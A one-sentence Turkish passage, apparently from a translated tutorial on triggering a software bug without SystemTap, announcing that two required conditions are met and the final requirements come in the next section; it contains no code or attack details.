Harika! SistemTap olmadan hatayı tetiklemek için iki gerekli koşulu zaten düzelttik. Bir sonraki bölümde devam edelim ve son gereklilikleri uygulayalım.